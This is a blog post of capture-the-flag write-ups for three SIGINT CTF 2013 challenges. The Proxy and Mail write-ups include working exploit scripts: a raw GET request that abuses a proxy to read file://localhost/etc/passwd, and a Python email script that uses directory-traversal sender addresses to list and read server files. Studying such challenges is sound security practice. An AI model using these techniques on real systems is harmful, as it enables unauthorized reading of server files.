Sunday, July 7, 2013

SIGINT CTF 2013

The SIGINT CTF certainly had some of the coolest challenges I've done in awhile and I say kudos to the organizers! Thanks for a great CTF! However, due to limited time and small numbers of people playing (as well as the difficulty on some challenges), we only finished a few. However, the ones we did finish we rather cool and our writeups are linked below.

  1. Mail
  2. Proxy
  3. PROtocol

SIGINT CTF: Proxy

This challenge presented a proxy server that had some strange restrictions on it. Below is the very short server file.
#!/usr/bin/env python

import SocketServer
import SimpleHTTPServer
import urllib2
import logging
from urlparse import urlparse


logging.basicConfig(level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s')


class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        parsed_url = urlparse(self.path)
        logging.info(parsed_url)
        if parsed_url.netloc == "localhost":
            self.copyfile(urllib2.urlopen(self.path), self.wfile)


SocketServer.TCPServer.allow_reuse_address = True
httpd = SocketServer.ForkingTCPServer(('0.0.0.0', 8080), Proxy)
urlparse will take the various parts of a URI put them into sever fields of an object. The netloc field is the main location of a URI. For example, in the URI http://facebook.com/index.php, netloc == facebook.com. What's tricky here is that urlparse will not recognize a netloc unless it is preceded by a double slash (//). I fooled around for a while with doing things like
wget http://localhost//localhost/etc/passwd
With this URL, self.path == //localhost/etc/passwd and urlparse correctly gave netloc == localhost. But when it tried to do a urlopen on the self.path, the entire thing blew up. Only after a long time of thinking did I realize that everything was being preceded by a / because that is how most everything works in an HTTP request. The request looks like
GET / HTTP/1.1
So then I decided to form my own HTTP request and do it differently, which worked! Below is the winning script.
'''
proxy exploit - suntzu_II

nexpect is a tool a friend and I wrote that uses regular expression matching to perform expect functions over sockets. I use it here to create a GET request. Check it out here.
'''
import nexpect

n = nexpect.spawn(('188.40.147.125',8080))
n.sendline('GET file://localhost/etc/passwd HTTP/1.1') # Note the lack of a preceding '/'
n.sendline()
n.sendline()
n.interact()
The flag was SIGINT_a64428fe231bcdcabbea.

- suntzu_II

SIGINT CTF: PROtocol

The PROtocol challenge gave an IP Address and a port to connect to and no other information. So the first thing to do is whip out nc and try to connect. After connecting, it immediately replied "not tcp." So I added the flag that said to do UDP and the program replied "not udp." So it must be a weird protocol then. I am a regular reader of http://www.reddit.com/r/netsec, and several days ago, I remembered reading about reverse shells over SCTP and so ran the command
ncat --sctp 188.40.147.103 1024
The program spit back a rather long string that was mostly hex, one underscore, and a couple of capital letters. From previous challenges, I knew that the keys looked like SIGINT_abcdef and so I determined that the string was the flag scrambled up. But how was it scrambled up? I examined the traffic in wireshark and noticed that the Sequence Numbers were all 0 for the data. It turns out that SCTP doesn't necessarily have to have Sequence Numbers associated with data, at which point the data will reassemble itself on the other side of the transmission in the order it arrives instead of the order it was sent. However, all of the pieces of data DID have numbered SIDs, which correlated to position within the flag string. It was just a matter of extracting the SIDs without having to do it by hand. So I went back to my friend tshark and had some fun.
tshark -i tun0 -R "sctp" -Tfields -e "sctp.data_sid"
After I ran this command, I ran the ncat again so I had the data and the SIDs in the same order. Then I just ran them through the below python script and voila!
'''
PROtocol exploit - suntzu_II
'''

scrambled = '2f0981d9Na071752ecGcfcd4c2I41b998c275a3a61df20fa48c0098b3f22cb3ddedd56c5eac026Td85b1335334S975f9eabdd_dI5a6'
order = '0x0050,0x0019,0x004c,0x0065,0x0059,0x0043,0x0049,0x0008,0x0004,0x0053,0x0055,0x002e,0x001a,0x0057,0x0068,0x0027,0x003b,0x001b,0x0002,0x0054,0x0063,0x0069,0x003e,0x002a,0x0040,0x000b,0x0003,0x0056,0x0009,0x0033,0x0032,0x0041,0x0046,0x0015,0x003f,0x003c,0x004d,0x0029,0x0022,0x0042,0x005f,0x001e,0x005c,0x0021,0x0066,0x005b,0x003d,0x0047,0x0062,0x000c,0x003a,0x005e,0x0031,0x000d,0x0036,0x004a,0x0034,0x0067,0x0026,0x0035,0x0020,0x004e,0x0018,0x0028,0x004f,0x001c,0x0045,0x002b,0x0058,0x0011,0x001f,0x0023,0x005d,0x0024,0x0013,0x0017,0x0039,0x001d,0x0005,0x0014,0x0048,0x002f,0x0025,0x002d,0x0064,0x0060,0x0038,0x0016,0x000a,0x000e,0x0000,0x002c,0x0052,0x0044,0x0010,0x0051,0x0012,0x004b,0x005a,0x0037,0x006a,0x0006,0x0007,0x0001,0x0061,0x000f,0x0030'

intsOrder = []
for i in order.split(','):
    index = int(i[2:],16)
    intsOrder.append(index)

unscrambled = ''
for i in xrange(len(intsOrder)):
    unscrambled += scrambled[intsOrder.index(i)]

print unscrambled
The flag was SIGINT_d9132894af6ecdc303f1ce61ccf35ab22da4d9175609b328d52ce7fd2c9a15d8a8dba05bd297ac04758b0de06354f392f5cd.

- suntzu_II

SIGINT CTF: Mail

The mail challenge presented a program which used email as the basis for cloud storage software. It interpreted commands from the "Subject" line of an email and then performed actions, with the results being emailed back to the sender. The server code is shown below (I have modified the send_response and send_error methods to work over STDIO so that I could beat the program locally without sending emails).
#!/usr/bin/ruby

require "pathname"
Dir.chdir(Pathname.new(__FILE__).dirname.to_s)

require "mail"

mail_size_limit= 16*1024
user_size_limit= 1024**2
users_dir= Pathname.new("user")

raw_incoming_mail= STDIN.read(mail_size_limit)
incoming_mail= Mail.new(raw_incoming_mail)

user= [incoming_mail.from].flatten[0].gsub('"', "")
exit 1 unless user
exit 1 unless user=~ /@/
subject= incoming_mail.subject
exit 1 unless subject
user_dir= users_dir + user.split("@", 2).reverse.join("___")
print user_dir+"\n"
size_file= user_dir + ".size"
tmp_size_file= user_dir + ".size_tmp"

'''
available commands:
signup
list
put
get <filename>
delete <filename>
share <filename> <user>
'''

def send_response(original_mail, response_string, attachment= nil, response_subject=nil)
    print "\nReponse:\n------------\n\n"
    print original_mail,"\n"
    print response_string,"\n"
    print attachment,"\n"
    print response_subject,"\n"
    print "------------\n"
end

def send_error(original_mail, error_string)
    print "\nError:\n-------------\n\n"
    print original_mail,"\n"
    print error_string,"\n"
    print "-----------\n"
end

case subject
when "signup"
 if user_dir.directory?
  send_error(incoming_mail, "your are already signed up")
  exit
 end
 unless (user_dir+"../.signup_allowed").file?
  send_error(incoming_mail, "signup is currently disabled")
  exit
 end
 user_dir.mkdir
 size_file.open("w") { |f| f.puts 0 }
 send_response(incoming_mail, "signup successfull")
when "list"
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 file_listing= "your_files:\n" +
 user_dir.children.select do |file|
  file.basename.to_s[0] != ?.
 end.collect do |file|
  "#{file.basename} #{file.size/1024.0}Kb"
 end.join("\n")
 send_response(incoming_mail, file_listing)
when /\Aget ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
 file_name= $1
 file_path= user_dir+file_name
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 send_response(incoming_mail, "here is your requested file", file_path.to_s)
when /\Ashare ([A-Za-z0-9_-]+(\.[a-z0-9]+)?) ([A-Za-z0-9][A-Za-z0-9._-]*@([A-Za-z0-9-]+\.)+[A-Za-z]+)\Z/
 file_name= $1
 second_user= $3
 file_path= user_dir+file_name
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 second_user_dir= users_dir + second_user.split("@", 2).reverse.join("___")
 second_size_file= second_user_dir + ".size"
 second_file_path= second_user_dir + file_name
 unless second_size_file.file?
  send_error(incoming_mail, "the given user is not signed up")
  exit
 end
 if second_file_path.exist?
  send_error(incoming_mail, "file cannot be shared for unknown reasons")
  exit
 end
 second_file_path.make_symlink(file_path.to_s.sub("user/", "../"))
 send_response(incoming_mail, "file shared", file_path.to_s)
when /\Adelete ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
 file_name= $1
 file_path= user_dir+file_name
 user_size= begin
  size_file.read.to_i
 rescue Errno::ENOENT
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_name[0] != ?. and file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 user_size-= file_path.size
 file_path.unlink
 tmp_size_file.open("w") { |f| f.puts user_size }
 tmp_size_file.rename(size_file)
 send_response(incoming_mail, "file deleted")
when "put"
 user_size= begin
  size_file.read.to_i
 rescue Errno::ENOENT
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 attachment= incoming_mail.attachments[0]
 unless attachment and attachment.filename=~ /\A([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
  send_error(incoming_mail, "no valid attachment found")
  exit
 end
 file_path= user_dir+attachment.filename
 if file_path.exist?
  send_error(incoming_mail, "file already exists")
  exit
 end
 attachement_body= attachment.body.decoded
 user_size+= attachement_body.size
 if user_size > user_size_limit
  send_error(incoming_mail, "you have no space left")
  exit
 end
 tmp_size_file.open("w") { |f| f.puts user_size }
 tmp_size_file.rename(size_file)
 file_path.open("w") { |f| f.write attachement_body }
 send_response(incoming_mail, "file saved")
end
The main flaw in this program comes from this line of code:
user_dir= users_dir + user.split("@", 2).reverse.join("___")
This means that any user root@example.com will have a working directory of example.com___root. This lends itself to directory traversal by having a source email address of root/../@example.com, which become example.com___root/../. Whenever the commands are run, they run from the working directory of the email address. The hardest part, then, is getting an email server working that will correctly handle email addresses like this. I worked with a buddy pretty heavily to get this working. We eventually resorted to having a "catch-em-all" email box on his server and just sent emails from him as an open relay. We had a command running in the Maildir that would always be showing the most recent mail, so any email responses we got would flash on our screen immediately. This, combined with the script shown below gave us a shell of sorts through the emails.
'''
Mail exploit - by suntzu_II

1. Run the 'signup'command as a@example.com. This creates a directory of example.com___a.
2. Run any command but perform directory traversal with email addresses like this:
    - list,a/../@example.com
    - get passwd,a/../../../../etc/@example.com

'''

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import base64

def sendMessage(action, send_from, send_to):
    msg = MIMEMultipart()
    msg['To'] = send_to
    msg['From'] = send_from
    msg['Subject'] = action

    smtp = smtplib.SMTP('b3.ctf.sigint.ccc.de',25)
    smtp.sendmail(send_from, send_to, msg.as_string())
    smtp.close()

while True:
    cmd = raw_input("Command: ").split(',')
    sendMessage(cmd[0], 'a/'+cmd[1]+'@example.com', 'test@b3.ctf.sigint.ccc.de')
The flag was in /etc/passwd.

- suntzu_II

Saturday, July 6, 2013

First Post!

As a recent graduate from the Delusions of Grandeur team (a purely undergrad team), I needed a place to do writeups for cool CTF challenges (how I spend most of my time) and just other fun stuff I've been doing. As such, I have created yet another blog that noone will read except for the links from ctftime.org. Anyway, a couple of buddies and I have formed a team called Glimpses of Grandeur so we can play CTFs in our free time (which is not a lot). So have fun and feel free to peruse the posts that we have. Thanks! - suntzu_II